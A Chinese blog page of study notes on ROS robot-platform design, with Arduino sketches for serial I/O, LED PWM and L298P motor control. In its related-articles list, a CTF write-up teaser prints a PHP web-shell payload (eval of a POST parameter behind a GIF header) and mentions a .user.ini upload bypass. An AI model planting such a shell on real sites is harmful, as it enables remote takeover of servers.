第 8 章 机器人平台设计(自学二刷笔记)

news2024/12/23 13:01:21

重要参考：

课程链接:https://www.bilibili.com/video/BV1Ci4y1L7ZZ

讲义链接:Introduction · Autolabor-ROS机器人入门课程《ROS理论与实践》零基础教程

8.2.3 arduino 基本语法演示

通信操作

1.通信实现01

需求： 通过串口，由 arduino 向计算机发送数据

实现：

/*
 * 需求:通过串口，由 arduino 向计算机发送数据
 * 实现:
 *  1.setup中设置波特率
 *  2.setup 或 loop 中使用 Serial.print 或 Serial.println() 发送数据
 * 
 * 
 * 
 */
void setup() {
  Serial.begin(57600);
  Serial.println("setup");
}

void loop() {
  delay(3000);
  Serial.print("loop");
  Serial.print("  ");
  Serial.println("hello");
}

2.通信实现02

需求： 通过串口，由计算机向Arduino发送数据

实现：

/*
 * 需求:通过串口，由计算机向 arduino 发送数据
 * 实现:
 *  1.setup中设置波特率
 *  2.loop 中接收发送的数据，并打印
 * 
 * 
 * 
 */
char num;
void setup() {
  Serial.begin(57600);
}

void loop() {
  if(Serial.available() > 0){
    num = Serial.read();
    Serial.print("I accept:");
    Serial.println(num);  
  }
}

 

8.2.4 arduino 基本语法演示02

1.数字IO操作

需求：控制LED灯开关，在一个循环周期内前两秒使LED灯处于点亮状态，后两秒关闭LED灯

实现：

/*
 * 控制LED灯开关，在一个循环周期内前两秒使LED灯处于点亮状态，后两秒关闭LED灯
 * 1.setup 中设置引脚为输出模式
 * 2.loop 中向引脚输出高电压，休眠 2000 毫秒后，再输出低电压，再休眠 2000 毫秒
 * 
 */
int led = 13;
void setup() {
  Serial.begin(57600);
  pinMode(led,OUTPUT);

}

void loop() {

  digitalWrite(led,HIGH);//输出高电压  
  delay(2000);

  digitalWrite(led,LOW);//输出低电压
  delay(2000); 

}
2.模拟IO操作

需求：控制LED灯亮度

原理：在1中LED灯只有关闭或开启两种状态，是无法控制 LED 灯亮度，如果要实现此功能，那么需要借助于 PWM(Pulse width modulation 脉冲宽度调制)技术，通过设置占空比为LED间歇性供电，PWM 的取值范围 [0,255]。

实现：

/*
 * 需求:控制LED灯亮度
 * 实现:
 *  1.setup 中设置 led 灯的引脚为输出模式
 *  2.设置不同的 PWM 并输出
 * 
 */
int led = 13;
int l1 = 255;
int l2 = 50;
int l3 = 0;
void setup() {
  pinMode(led,OUTPUT);
}

void loop() {
  analogWrite(led,l1);
  delay(2000);
  analogWrite(led,l2);
  delay(2000);
  analogWrite(led,l3);
  delay(2000);

}

运行结果：在一个周期内LED灯亮度递减直至熄灭

 

8.2.5 arduino 基本语法演示03

需求：调用 millis() 函数获取程序当前已经执行的时间，调用delay()函数实现休眠

实现：

/*
 * 需求:调用 millis() 函数获取程序当前已经执行的时间，调用delay()函数实现休眠
 * 
 * 1.setup 中设置波特率
 * 2.loop 中使用delay休眠，使用millis获取程序执行时间并输出
 * 
 */

unsigned long past_time;

void setup() {
  Serial.begin(57600);
}

void loop() {
  delay(2000);//休眠 2 秒

  past_time  = millis();
  Serial.println(past_time);  
}

通过串口监视器查看输出结果。

 

8.3 机器人平台设计之电机驱动

对于构建轮式机器人而言，电机驱动是一重要实现环节。

场景:在机器人架构中，如果要实现机器人移动，其中一种实现策略是:控制系统会先发布预期的车辆速度信息，然后驱动系统订阅到该信息，不断调整电机转速直至达到预期速度，调速过程中还需要时时获取实际速度并反馈给控制系统，控制系统会计算实际位移并生成里程计信息。

在上述流程中，控制系统(ROS端)其实就是典型的发布和订阅实现，而具体到驱动系统(Arduino)层面，需要解决的问题有如下几点：

  • 一个周期伊始，Arduino 如何订阅控制系统发布的速度相关信息？

  • 一个周期结束，Arduino 如何发布实际速度相关信息到控制系统？

  • 一个周期之中，Arduino 如何驱动电机(正传、反转)？

  • 一个周期之中，Arduino 如何实现电机测速？

  • 一个周期之中，Arduino 如何实现电机调速？

在整个闭环实现中，前两个问题涉及到驱动系统与控制系统的通信，其中控制系统会将串口通信的相关实现封装，暂时不需要关注，而Arduino端数据的接收与发送都可以通过之前介绍的 Serial 相关API实现，本节主要介绍后面三个问题的解决方式也即电机基本控制、电机测速以及电机调速实现，主要内容如下：

  • 硬件：主要介绍电机类型与结构以及电机驱动板；

  • 电机转向控制与电机转速的控制；

  • 电机测速实现；

  • 电机调速实现。

8.3.1 硬件_电机与电机驱动板

如果要通过Arduino实现电机相关操作(比如：转向控制、转速控制、测速等)，那么必须先要具备两点前提知识：

  1. 需要简单了解电机类型、机械结构以及各项参数，这些是和机器人的负载、极限速度、测速结果等休戚相关的；
  2. 还需要选配合适的电机驱动板，因为Arduino的输出电流不足以直接驱动电机，需要通过电机驱动板放大电机控制信号。

当前我们的机器人平台使用的电机为直流减速电机，电机驱动板为基于L298P实现的电路板。接下来就分别介绍这两个模块：

1.直流减速电机

如图所示，相当一部分ROS智能车中使用的直流减速电机与之类似，主要由三部分构成：

  • 减速箱
  • 电机主体
  • 编码器

电机主体通过输入轴与减速箱相连接，通过减速箱的减速效果，最终外端的输出轴会按照比例(取决于减速箱减速比)降低电机输入轴的转速，当然速度降低之后，将提升电机的力矩。

尾部是AB相霍尔编码器，通过AB编码器输出的波形图，可以判断电机的转向以及计算电机转速

另外，即便电机外观相同，具体参数也可能存在差异，参数需要商家提供，需要了解的参数如下：

  • 额定电压
  • 额定电流
  • 额定功率
  • 额定扭矩
  • 减速比
  • 减速前转速
  • 减速后转速
  • 编码器精度

主要参数：

额定扭矩：额定扭矩和机器人质量以及有效负荷相关，二者正比例相关，额定扭矩越大，可支持的机器人质量以及有效负荷越高；

减速比：电机输入轴与输出轴的减速比例，比如： 减速比为90，意味着电机主体旋转90圈，输出轴旋转1圈。

减速后转速：与减速比相关，是电机减速箱输出轴的转速，单位是 rpm(转/分)，减速后转速与减速前转速存在转换关系： 减速后转速 = 减速前转速 / 减速比。另外，可以根据官方给定的额定功率下的减速后转速结合车轮参数来确定小车最大速度。

编码器精度：是指编码器旋转一圈单相(当前编码器有AB两相)输出的脉冲数；
注意：电机输入轴旋转一圈的同时，编码器旋转一圈，如果输出轴旋转一圈，那么编码器的旋转圈数和减速比一致(比如减速比是90，那么输出轴旋转一圈，编码器旋转90圈)。
编码器输出的脉冲数计算公式则是：输出轴旋转一圈产生的脉冲数 = 减速比 * 编码器旋转一圈发送的脉冲数(比如：减速比为90，编码器旋转一圈输出11个脉冲，那么输出轴旋转一圈总共产生 11 * 90 也即990个脉冲)。

电机编码器

M1： 电机电源+(和M2对调可以正反转 )

GND： 编码器电源-

C2： 信号线

C1： 信号线

VCC：编码器电源+

M2： 电机电源-(和M1对调可以正反转)

2.电机驱动板

电机驱动板可选型号较多，比如：TB6612、L298N、L298P....但是这些电机驱动板与电机相连时，需要使用杜邦线，接线会显得凌乱，本节会采用一款基于L298P优化的电机驱动板，该驱动板可以使用端子线直接连接电机，接线更规整、美观。

端子线母头对应的引脚(自上而下)

母头1： 4、地线、21、20、5V输入、 5

母头2：7、地线、18、19、5V输入、 6

PS：电机驱动板使用时，需要打开USB接口处的电源开关。

3.准备工作

组装底盘：集成电池、Arduino、电机驱动板与电机

先安装Arduino、安装电机(接端子线)与万向轮，将电机驱动板与Arduino集成；

然后将电池的正负极分别接入电机驱动模块的12V与GND(注意：正负极不可接反，12V接红线，GND接黑线)；

最后将电机通过端子线与驱动板相连。

8.3.2 电机基本控制实现

在ROS智能车中，控制车辆的前进、后退以及速度调节，那么就涉及到电机的转向与转速控制，本节主要就是介绍相关知识点。

需求:控制单个电机转动，先控制电机以某个速率正向转动N秒，再让电机停止N秒，再控制电机以某个速率逆向转动N秒，最后让电机停止N秒，如此循环。

实现流程:

  1. 编写Arduino程序，setup中设置引脚模式，loop中控制电机运动；
  2. 上传并查看运行结果。
1.编码

前提知识点：

  1. 左电机的M1与M2对应的是引脚4(DIRA)和引脚5(PWMA)，引脚4控制转向，引脚5输出PWM。右电机的M1与M2对应的是引脚6(PWMB)和引脚7(DIRB)，引脚7控制转向，引脚6输出PWM。
  2. 可以通过PWM控制电机转速。

代码:

/*
 * 电机转动控制
 * 1.定义接线中电机对应的引脚
 * 2.setup 中设置引脚为输出模式
 * 3.loop中控制电机转动
 * 
 */

int DIRA = 4;
int PWMA = 5;

void setup() {
  //两个引脚都设置为 OUTPUT
  pinMode(DIRA,OUTPUT);
  pinMode(PWMA,OUTPUT);
}

void loop() {
  //先正向转动3秒
  digitalWrite(DIRA,HIGH);
  analogWrite(PWMA,100);
  delay(3000);
  //停止3秒
  digitalWrite(DIRA,HIGH);
  analogWrite(PWMA,0);
  delay(3000);
  //再反向转动3秒
  digitalWrite(DIRA,LOW);
  analogWrite(PWMA,100);
  delay(3000);
  //停止3秒
  digitalWrite(DIRA,LOW);
  analogWrite(PWMA,0);
  delay(3000);

  /*
   * 注意: 
   * 1.可以通过将DIRA设置为HIGH或LOW来控制电机转向，但是哪个标志位正转或反转需要根据需求判断，转向是相对的。
   * 2.PWM的取值为 [0,255],该值可自己设置。
   * 
   */

}
2.运行

程序上传到Arduino上，如无异常，电机开始转动，转动结果与需求描述类似。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1646972.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【driver5】调用堆栈函数，printk，动态打印，ftrace，proc，sysfs

【driver5】调用堆栈函数，printk，动态打印，ftrace，proc，sysfs

文章目录 1.内核函数调用堆栈：4个函数2.printk：cat /proc/cmdline查看consolettyS03.动态打印：printk是全局的且只能设打印等级，动态打印可控制选择模块的打印，在内核配置打开CONFIG_DYNAMIC_DEBUG4.ftrace&#xff1a…
阅读更多...
深入剖析Tomcat(六) Tomcat各组件的生命周期控制

深入剖析Tomcat(六) Tomcat各组件的生命周期控制

Catalina中有很多组件，像上一章提到的四种容器，载入器，映射器等都是一种组件。每个组件在对外提供服务之前都需要有个启动过程；组件在销毁之前，也需要有个关闭过程；例如servlet容器关闭时，需要调…
阅读更多...
数据结构——图的基础知识与其表示

数据结构——图的基础知识与其表示

一：定义 由顶点的集合和边的集合组成；常以 G(V,E) 表示，G 代表图，V代表 顶点的集合，E代表边的集合； 如图： 在G1图中，有 0~4 五个顶点，有 0-1，0-2&…
阅读更多...
文献速递：深度学习医学影像心脏疾病检测与诊断--从SPECT/CT衰减图中深度学习冠状动脉钙化评分提高了对重大不良心脏事件的预测

文献速递：深度学习医学影像心脏疾病检测与诊断--从SPECT/CT衰减图中深度学习冠状动脉钙化评分提高了对重大不良心脏事件的预测

Title 题目 Deep Learning Coronary Artery Calcium Scores from SPECT/CT Attenuation Maps Improve Prediction of Major Adverse Cardiac Events 从SPECT/CT衰减图中深度学习冠状动脉钙化评分提高了对重大不良心脏事件的预测 01 文献速递介绍 低剂量非门控CT衰减校正&am…
阅读更多...
Problem 5: Whack-A-Mole打地鼠

Problem 5: Whack-A-Mole打地鼠

实战题：打地鼠 内容如附件所示： 测试数据为:1,2,4,8,9,10,11,14 答案为：10,2,4 原始分布： 击打10号 击打2号 击打4号 要求，所示实例解以图示的方式给出，并且5组测试数据都需要测试，…
阅读更多...
力扣每日一练(螺旋矩阵)

力扣每日一练(螺旋矩阵)

54. 螺旋矩阵 - 力扣（LeetCode） 给你一个 m 行 n 列的矩阵 matrix ，请按照 顺时针螺旋顺序 ，返回矩阵中的所有元素。 示例 1： 输入：matrix [[1,2,3],[4,5,6],[7,8,9]] 输出：[1,2,3,6,9,8,7,4,…
阅读更多...
获取转转数据，研究完转转请求，tx在算法方面很友好。

获取转转数据，研究完转转请求，tx在算法方面很友好。

本篇文章仅供学习讨论。 文章中涉及到的代码、实例，仅是个人日常学习研究的部分成果。 如有不当，请联系删除。 在研究完阿里的算法以后（其实很难说研究完，还有很多内容没有研究透，只能说暂时告一段落）&…
阅读更多...
关于IDEA中项目中各个方法、引用、注解等全部报错的情况

关于IDEA中项目中各个方法、引用、注解等全部报错的情况

今天打开项目弹出很多提示框，也没注意，然后突然发现项目所有都在报错，不管是启动类还是方法类，各种注解、方法、引用等全红了，随便打开一个都是密密麻麻全红。 首先排查依赖和JDK等引用问题，包括我们的mave…
阅读更多...
jquery项目 html使用export import方式调用模块

jquery项目 html使用export import方式调用模块

jquery的老项目，引入vue3, 需要方便使用export, import方式引用一些常用的方法与常量 导出模块 export js/numberUtil.js /*** Description:* Author Lani* date 2024/1/10*//* * 【金额】 保留2位小数，不四舍五入 * 5.992550 >5.99 , 2 > 2.…
阅读更多...
力扣：63. 不同路径 II

力扣：63. 不同路径 II

63. 不同路径 II 一个机器人位于一个 m x n 网格的左上角 （起始点在下图中标记为 “Start” ）。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角（在下图中标记为 “Finish”）。 现在考虑网格中有障碍物。那么…
阅读更多...
C++:多继承虚继承

C++:多继承虚继承

在C中，虚继承（Virtual Inheritance）是一种特殊的继承方式，用于解决菱形继承（Diamond Inheritance）问题。菱形继承指的是一个类同时继承自两个或更多个具有共同基类的类，从而导致了多个实例同一个…
阅读更多...
Apache POI入门学习

Apache POI入门学习

Apache POI入门学习 官网地址 excel中使用到的类读取excel表格内容表格内容maven依赖方式一测试结果 方式二测试结果 向excel中写入数据方式一方式二方式三测试结果 从 Excel 工作表中的公式单元格读取数据测试结果 Excel 工作表中写入公式单元格从受密码保护的Excel中读取数据…
阅读更多...
opencv图片的平移-------c++

opencv图片的平移-------c++

图片平移 cv::Mat opencvTool::translateImage(const cv::Mat& img, int dx, int dy) {// 获取图像尺寸int rows img.rows;int cols img.cols;// 定义仿射变换矩阵cv::Mat M (cv::Mat_<float>(2, 3) << 1, 0, dx, 0, 1, dy);// 进行仿射变换cv::Mat dst;cv…
阅读更多...
Linux-信号概念

Linux-信号概念

1. 什么是信号 信号本质是一种通知机制&#xff0c;用户or操作系统通过发送信号通知进程&#xff0c;进程进行后续处理 在日常生活中就有很多例子&#xff0c;比如打游戏方面王者荣耀的“进攻”&#xff0c;“撤退”&#xff0c;“请求集合”&#xff0c;“干得漂亮&#xff01…
阅读更多...
第一篇：刚接触测试你应该知道什么

第一篇：刚接触测试你应该知道什么

欢迎你接触软件测试这一行业。 刚接触它时&#xff0c;你肯定或多或少会有疑惑&#xff0c;我该做什么&#xff1f;大家口口相传的软件测试就是 【点点点】 真的是你日常的工作吗&#xff1f; 那么本文我将陪你一起&#xff0c;对我们刚接触到测试这个工作以后&#xff0c;应该…
阅读更多...
第七节课《OpenCompass司南--大模型评测实战》

第七节课《OpenCompass司南--大模型评测实战》

OpenCompass 大模型评测实战_哔哩哔哩_bilibili https://github.com/InternLM/Tutorial/blob/camp2/opencompass/readme.md InternStudio 一、通过评测促进模型发展 面向未来拓展能力维度&#xff1a;评测体系需增加新能力维度&#xff08;数学、复杂推理、逻辑推理、代码和…
阅读更多...
[SUCTF 2019]CheckIn 1

[SUCTF 2019]CheckIn 1

解题步骤 上传木马图片&#xff0c;命名为b.php GIF89a <script languagephp>eval($_POST[cmd])</script>bp抓包&#xff0c;修改数据&#xff1b;然后可看到上传的文件 上传.user.ini文件&#xff0c;内容编写如下&#xff0c;然后bp抓包修改文件类型 GIF8…
阅读更多...
MOS产品在光伏逆变器上的应用和产品选型

MOS产品在光伏逆变器上的应用和产品选型

2023年全球光伏装机量表现优异&#xff0c;根据BloombergNEF统计数据&#xff0c;2023年全球光伏新增装机量444GW&#xff0c;同比增长76.2%&#xff0c;其中约一半新增装机量来自中国。 中国光伏新技术迭代不断&#xff0c;产业链降本增效加速。根据CPIA数据&#xff0c;2022年…
阅读更多...
简述 BIO 、NIO 模型

简述 BIO 、NIO 模型

BIO : 同步阻塞I/O&#xff08;Block IO&#xff09; 服务器实现模式为每一个连接一个线程&#xff0c;即客户端有连接请求时服务器就需要启动一个线程进行处理&#xff0c;如果这个连接不做任何事情会造成不必要的线程开销&#xff0c;此处可以通过线程池机制进行优化。 impo…
阅读更多...
新的项目springboot

新的项目springboot

buybuyshenglombok <dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId></dependency> 添加依赖 lombok package com.example.demo.pojo;import lombok.AllArgsConstructor; import lombok.Data; import …
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023